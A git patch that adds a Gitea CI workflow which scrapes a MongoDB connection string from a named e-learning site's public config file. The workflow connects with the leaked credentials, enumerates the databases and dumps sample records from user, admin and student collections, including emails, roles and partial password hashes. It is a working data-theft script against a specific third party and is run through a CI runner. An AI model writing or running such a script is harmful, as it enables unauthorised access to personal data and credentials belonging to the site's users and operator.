From df07cb6d5978c9f703baa3990cdb54b3717ccab9 Mon Sep 17 00:00:00 2001 From: chkgp9q90qi Date: Thu, 29 Oct 2026 01:34:42 +0000 Subject: [PATCH] mongoatlas --- .gitea/workflows/mongoatlas.yml | 44 +++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 .gitea/workflows/mongoatlas.yml diff --git a/.gitea/workflows/mongoatlas.yml b/.gitea/workflows/mongoatlas.yml new file mode 100644 index 0000000..92a86b3 --- /dev/null +++ b/.gitea/workflows/mongoatlas.yml @@ -0,0 +1,44 @@ +name: mongoatlas +on: [workflow_dispatch] +jobs: + m: + runs-on: ubuntu-latest + steps: + - run: | + set +e + pip install -q pymongo dnspython 2>/dev/null + CFG=$(curl -sk --max-time 25 https://elearning-api.groupe-madia.cm/config/config.js) + URI=$(echo "$CFG" | grep -oP 'mongodb\+srv://[^"'"'"'\s]+' | head -1) + echo "uri_found=$([ -n "$URI" ] && echo yes || echo no) host=$(echo "$URI" | sed -E 's|.*@([^/]+)/.*|\1|')" + export URI + python3 - <<'PY' +import os, pymongo, json +uri=os.environ["URI"] +try: + c=pymongo.MongoClient(uri, serverSelectionTimeoutMS=20000, tls=True) + print("dbs:", c.list_database_names()) + db=c["elearning-pl"] + cols=db.list_collection_names() + print("collections_count:", len(cols)) + print("sample_cols:", cols[:20]) + for name in cols: + low=name.lower() + if any(k in low for k in ("user","admin","account","auth","employe","etudiant","student","teacher")): + try: + n=db[name].count_documents({}) + print("== ", name, "count=", n) + for d in db[name].find({}, {"password":1,"email":1,"username":1,"name":1,"role":1,"roles":1}).limit(3): + out={} + for k,v in d.items(): + if k=="_id": continue + if k in ("password","hash","pass"): out[k]=str(v)[:14]+"..." + else: out[k]=v + print(" ", json.dumps(out, default=str)[:200]) + except Exception as e: + print("err", name, str(e)[:80]) + c.close() +except Exception as e: + print("CONNECT_FAIL:", str(e)[:200]) +PY + echo "DONE" + exit 0